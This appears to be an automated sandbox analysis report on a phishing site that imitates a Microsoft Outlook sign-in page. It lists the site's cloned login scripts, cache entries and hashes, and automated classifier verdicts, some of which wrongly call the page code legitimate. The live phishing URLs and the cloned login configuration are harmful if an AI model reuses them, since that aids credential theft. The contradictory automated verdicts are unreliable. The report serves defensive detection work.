//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){
URL: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	```json { "obfuscated": false, "injections": false, "unpacking": false, "antidebugger": false, "reasons": "The provided code is a self-invoking anonymous function that checks for certain conditions and modifies the URL of the top window if necessary. It does not appear to be obfuscated, dynamically modify the HTML, perform code unpacking, or check for debugging tools. Therefore, it is likely a legitimate piece of code." } ```"
//<![CDATA[ !function(){var e=window,o=e.document,i=e.$Config\|\|{};if(true){o&&o.body&&(o.body.style.display="block")}else if(!i.allowFrame){var s=e.self.location.href,l=s.indexOf("#"),n=-1!==l,t=s.indexOf("?"),f=n?l:s.length,d=-1===t\|\|n&&t>l?"?":"&";s=s.substr(0,f)+d+"iframe-request-id="+i.sessionId+s.substr(f),e.top.location=s}}(); //
URL: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	```json { "obfuscated": false, "injections": false, "unpacking": false, "antidebugger": false, "reasons": "The provided code is a simple self-invoking anonymous function that listens for 'error' and 'load' events on elements with a 'data-loader' attribute set to 'cdn'. It does not appear to be obfuscated, dynamically modify the HTML, perform code unpacking, or check for debugging tools. The code is likely part of a content delivery network (CDN) setup for handling errors and success events during the loading of resources." } ```"
//<![CDATA[ !function(t,e){!function(){var n=e.getElementsByTagName("head")[0];n&&n.addEventListener&&(n.addEventListener("error",function(e){null!==e.target&&"cdn"===e.target.getAttribute("data-loader")&&t.$Loader.OnError(e.target)},!0),n.addEventListener("load",function(e){null!==e.target&&"cdn"===e.target.getAttribute("data-loader")&&t.$Loader.OnSuccess(e.target)},!0))}()}(window,document); //
URL: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	```json { "obfuscated": false, "injections": false, "unpacking": false, "antidebugger": false, "reasons": "The provided code is not obfuscated, does not dynamically modify the HTML, does not perform any code unpacking, and does not contain any debugging prevention mechanisms. However, the URLs in the code appear to be suspicious and may be malicious. The domain 'ihvnbhbvhbasdjbhjvbfh.site' used in the URLs is not a well-known or trusted domain, and it is recommended to further investigate the site's legitimacy before interacting with it." } ```"
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://ihvnbhbvhbasdjbhjvbfh.site/owa/","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2fihvnbhbvhbasdjbhjvbfh.site","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2fihvnbhbvhbasdjbhjvbfh.site","showCantAccessAccountLink":true,"urlGitHubFed":"https://ihvnbhbvhbasdjbhjvbfh.site/owa/?idp_hint=github.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faro
URL: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ	```json { "phishing_score": 9, "brands": "Microsoft", "phishing": true, "suspicious_domain": true, "has_loginform": false, "has_captcha": false, "setechniques": true, "blank": true, "reasons": "The URL contains a suspicious domain name that does not resemble any legitimate Microsoft domain, and includes a long, complex query string typical of phishing attempts to obfuscate the true nature of the site. The image provided is blank, which could indicate a broken or deceptive site designed to confuse or mislead users. The combination of a suspicious domain, complex URL parameters, and a blank page strongly suggests a phishing attempt." }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45537)
Category:	downloaded
Size (bytes):	141320
Entropy (8bit):	5.43083999360545
Encrypted:	false
SSDEEP:	1536:5/Z5ELQbTPRUbx3jog/MhTyvRkmYWp0BSYmvIxdL/Bpns0Vgt2CTJm0wTxFojd96:REArg/MMNn3vIPzDk80ZjT0qQePtC
MD5:	C17977EA12CA5DD1D85E0633E34E118A
SHA1:	2B224A9B5F598BB3605F1BF7764B4EA304BBBE8B
SHA-256:	F59EEFA30801CF206E723D82D4C997A49F54D4A40644438D8B27F8E17853B1AA
SHA-512:	5AA5B9694399597A24CCA760FCBC99CB4533AE6092C321873575FCD4B18606A9D929AD8F599F1FB5C670212A524169EDA13A62B1452151B80FC18EE00064F60E
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,r,i=n[0],a=n[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	89423
Entropy (8bit):	5.054632846981616
Encrypted:	false
SSDEEP:	768:invrjDVn5zUGaLV5f1x/hHCwxkn42k43SYim1gtd5xENM6HN26zdwbhB:invDaLJBhHCwc3SYiRENM6HN26BwbhB
MD5:	5ED8A5EC7C2F3373DAB40F406BE4E1E6
SHA1:	B28BAF01ED6D1017AACF302343E6C0C675D8127D
SHA-256:	E3526F688F0037EB9818B78E5096B7ED43AEC8D0A9A1CBEA6C7FEA39D812291D
SHA-512:	E6278C8F3961C16FBF963B4293C22FA504258112BFA3DF108B04BD5366E758515E268D5766493A684708854B6E02F0948D983C29E536FBC54E757D8649C4C27B
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/static/css/main.2768b4bf.chunk.css
Preview:	.Toast_ToastContainer__3e1f-{position:fixed;z-index:2}.Toast_ToastContainer__3e1f- .Toast_Toast__1Ovpv{position:fixed;top:3.66rem;right:1rem;width:16.25rem;background-color:#ba2d0c;color:#fff;border-radius:0;border:0}.Toast_ToastContainer__3e1f- .Toast_ToastBody__JebBI{display:-webkit-flex;display:flex;padding:.625rem}.Toast_ToastContainer__3e1f- .Toast_Message__2sc2J{-webkit-flex:1 1;flex:1 1;font-size:.75rem;letter-spacing:-.011rem;text-align:left}.Toast_ToastContainer__3e1f- .Toast_CircleIcon__2DqTx{margin:.2rem .313rem}.Toast_ToastContainer__3e1f- .Toast_Close__2qAvD{display:-webkit-inline-flex;display:inline-flex;margin:.2rem .313rem;font-size:.74rem;padding:0;color:#fff;line-height:1rem;border:0}.Toast_ToastContainer__3e1f- .Toast_Close__2qAvD:hover{color:#fff;text-decoration:none}:root{--blue:#407198;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#ba2d0c;--orange:#fd7e14;--yellow:#dd9600;--green:#3bb273;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dar

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 136 x 136, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.976208190934027
Encrypted:	false
SSDEEP:	384:/H9c1vCJgz2GixyL8u6UmL1rUACEviw+sv+ADNRmkx44mliXd15:/CXixlubmhBqwJ+QTOKd15
MD5:	D1BAE3D1E005483AC7872D49A442CC63
SHA1:	196B857575A97F75028B876B924957E800BC1F43
SHA-256:	72C57CDA41C26F93F43F16C230B7778E996A43AC7FA4D509CD473B3887596ADB
SHA-512:	68C1C9CA3F5E3FCE687BAE77A7D922640FF9676B40A299CC66F5216F6C81BC2D6F1C32A2D9662E4673FEFB17B795E2DE920FBE3D49DF6716B68A0CB43071F1B3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<..R....sRGB.......;.IDATx..}.x\...VKj.....5.c..lLX.2Y...@.0..f.-3......Mf^.$L ....0..'L2.%.......l.[.,..-k.%.;..:..o_I-.......:Uu...v=.9.^\|.E..?.DYK...I..ekr2..;04.j$...Q.OJL.$$$.B..eyG=.........y.FB..1............}=.>.Xm........C/.LOO.....:\|..7..k...... ^{........MI.Y...SV..e.........P(d.F.Mf........d...F..O9+.6'.....................oo].pa..7..i..f6.... .x...5..HbR.....i.Y.).I.Q..\.\.T.\...._.. P.BF.~<.....I.....X.og.p......mK.~......?....O>..m..G.9.K..\...O.........(h..0.].hM.E..,n.....!...l....F.o....S.E.E.........$....{...._.._.....m.......}...H........!P.O......4......%j..O. ....@c".`.t...N.>{...\|.Tg..... ..s....;9.l.54R.....E!.....F.Q.....(d7..0....>R.....c`.\|5/F.A../..WD.....;..e.}.....<........:..Y...Gi..wsJ~..f...<^.....Y..p.eP.@.@P@....N...0.I..AKq>.U....'".:~zM......4...,....z..l...rV....(....../...WH. d.&_....a..d......Z.....a.CE.....#...qj^.....+'./.H..pv..F..+..\|.....K...}...[...&.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45529)
Category:	downloaded
Size (bytes):	141305
Entropy (8bit):	5.430788281341128
Encrypted:	false
SSDEEP:	1536:5FZ5ELQbTPRUbx3jog/MhTyvRkmYWp0BSYmvIxdL/Bpns0Vgt2CTJm0wTxFojd9K:jEArg/MMNn3vIPzDk80ZjT0qcePgT
MD5:	1A0C9CD8426709A1C5AC8EB19013CB72
SHA1:	21FEB1E3BBEC4F6271D3FC68A71F928B86840810
SHA-256:	D12F35509E7EBCD8AF368FAF23C490FDA08FA0CB21171AB6B60AE2468242E500
SHA-512:	FE9EBA6B17A674CABD0545579264B54F7AAAA9068529681A7F376EDE79083F8615F041B43C41F13E4BE49AD4AF13E1CFBA36E7157EBBD1C11ADE72C9A31A6FC8
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,r,i=n[0],a=n[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (59783), with CRLF line terminators
Category:	downloaded
Size (bytes):	663451
Entropy (8bit):	5.3635307555313165
Encrypted:	false
SSDEEP:	12288:YhqblwQ9eTw/suNyIzaJS/pWYawUWufSxwDr2o/5YP1B:Yhqblt9e8/sMzaJS/pWYawUWufSxwDrW
MD5:	761CE9E68C8D14F49B8BF1A0257B69D6
SHA1:	8CF5D714D35EFFA54F3686065CB62CCE028E2C77
SHA-256:	BEAA65AD34340E61E9E701458E2CCFF8F9073FDEBBC3593A2C7EC8AFEACB69C1
SHA-512:	CEC948666FBA0F56D3DA27A931033C3A581C9C00FEC4D3DDCF41324525B5B5321AE3AB89581ECC7F497DE85EF684AB277C8A2DB393D526416CEB76C91A1B9263
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7544.41/scripts/boot.worldwide.0.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.0.mouse.js'] = (new Date()).getTime();../* Empty file */;Function.__typeName="Function";Function.__class=!0;Function.createCallback=function(n,t){return function(){var r=arguments.length;if(r>0){for(var u=[],i=0;i<r;i++)u[i]=arguments[i];u[r]=t;return n.apply(this,u)}return n.call(this,t)}};Function.prototype.bind=Function.prototype.bind\|\|function(n){if(typeof this!="function")throw new TypeError("bind(): we can only bind to functions");var u=Array.prototype.slice.call(arguments,1),r=this,t=function(){},i=function(){return r.apply(this instanceof t?this:n,u.concat(Array.prototype.slice.call(arguments)))};this.prototype&&(t.prototype=this.prototype);i.prototype=new t;return i};Function.createDelegate=function(n,t){return function(){return t.apply(n,arguments)}};Function.emptyFunction=Function.emptyMethod=function(){};Error.__typeNam

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6557)
Category:	downloaded
Size (bytes):	6602
Entropy (8bit):	4.8912701294467755
Encrypted:	false
SSDEEP:	96:tZo3aiZ6EARn3THjENxWwbqzHpjdlA2KKsoMyNQwyLyBYbeYby38HuHyRtR2IdIy:oAZTHjELbqjlAMkyNwuO5XwCj32oF
MD5:	8C2305C32BD61A9B135A4DCF8586132C
SHA1:	9A62FA2529608706730408FEDC64B61C9678F73C
SHA-256:	077674C2AD26D48610CA9886B0DD80373495ED8949965C3CB0D6B6F266162C0E
SHA-512:	2CBA5A610B9B9DA57137D8C4395DE88FBF55318E2E5C60C989A4384401291E0539746FB5A2E39CEC97442FD2634A80773461EE0BCC32AEA390E4286EFAB05492
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/static/js/7.39b294be.chunk.js
Preview:	(this["webpackJsonpvp-webapp-clicksmart"]=this["webpackJsonpvp-webapp-clicksmart"]\|\|[]).push([[7],{437:function(e){e.exports=JSON.parse('{"Ads":"Ads","Always navigate to a website by searching for the website\u2019s legitimate address rather than clicking a link in an email message.":"Always navigate to a website by searching for the website\u2019s legitimate address rather than clicking a link in an email message.","An error ocurred":"An error ocurred","and":"and","Blogs":"Blogs","Business":"Business","Categories Associated with this Website":"Categories Associated with this Website","Computers and Software":"Computers and Software","Connecting to server":"Connecting to server","Dating":"Dating","Deny Entry":"Deny Entry","Drugs":"Drugs","Education":"Education","Entertainment":"Entertainment","Error":"Error","Error: Invalid URL":"Error: Invalid URL","Error: URL Scanner is unavailable":"Error: URL Scanner is unavailable","Expanding link":"Expanding link","Extracting page features":"Extr

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12298
Entropy (8bit):	6.0567318700239685
Encrypted:	false
SSDEEP:	384:fVJC/eXO07nn7mVIuJLG5hX9ZEdkgD54waz1kwaz1N:tJC/GOOAIuxsX9ZGT540N
MD5:	51091F311BBA2D33EB0C0BF598602BD3
SHA1:	6B9B7607308D8D776B8D811265CFB7912A169B32
SHA-256:	1817AE1958F8D8AFB11E87BDB6D55B4A6DB164F98A9029BD09BB6D8161C14A8B
SHA-512:	46E9BA11228EA26572415B18CEC1912586F1ECAF5F8E39FFB1066177FD508643278CB927C38D64E90BAC7E0A55E720FA943ED81E130432FB161B8B70260A3FBA
Malicious:	false
Reputation:	low
Preview:	{"verdict":1,"original_url":"https://public-usa.mkt.dynamics.com/api/orgs/6a41e90b-d409-ef11-9f83-6045bd003e15/r/FvEiDKgZE0-MU3pAD1G4ZQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fgreefrunners.co.za%252F%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D\u0026digest=8tFUOLbq88kJ1qWVPQO24Iw0VllK%2Bt5cof7eRnCG1Bk%3D\u0026secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee","landing_url":"https://hdbfhja.store/?xeuxuwcg=2eab9b2000b208b32801acdeeabd3bb04be4a2e68893c959867ce3d05f0980277f9c29725cbe91175cead03954f418e3b7f74adc397f602e30b041b6a3cc23e1\u0026qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865","features":["Use set interval","Has borderless iframe","Use set timeout"],"cus_prefs":{"branding_logo":"iVBORw0KGgoAAAANSUhEUgAAAVgAAABACAYAAABfnm8CAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAALiMAAC4jAXilP3YAABzHSURBVHhe7Z0HmBzFlce1S+YMIotgjEgiZxtjjMkcyZyOHE0QRzyCAIE4MBYgskmSQCST4e4wQcKIw8gEE4+cgwCBwYgMEkggIUsC//7db/abmZ2ZrqruSUv/vu9tVfXUexW6t

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8127)
Category:	downloaded
Size (bytes):	8176
Entropy (8bit):	5.354303077210023
Encrypted:	false
SSDEEP:	48:06ljerKZ8o6Z9ODdsd8HX02I2pNp7CpXLxJBEsE4LJTENV0sLR5NnjFARezY5+xH:0Df5dBE2gftF3YoCEXOVIsgAY
MD5:	131871CE596EE77AA51129C134336F00
SHA1:	9BE571424EA29C4EA834981098C3924B6C19453A
SHA-256:	92C546D42EA275C73117FA125AF64A342BAC8E0E921EC11280861D905719BEB8
SHA-512:	C60FBC5BB31A6ACAD2FDFF5BC366E83FC772493B43B49A4A9AA4F4AF213673BB0F04781134A6ACDF11456DF6841A705DCCD5FB0979A94F7E75C09A89D487EBE5
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/static/css/4.6f882ee5.chunk.css
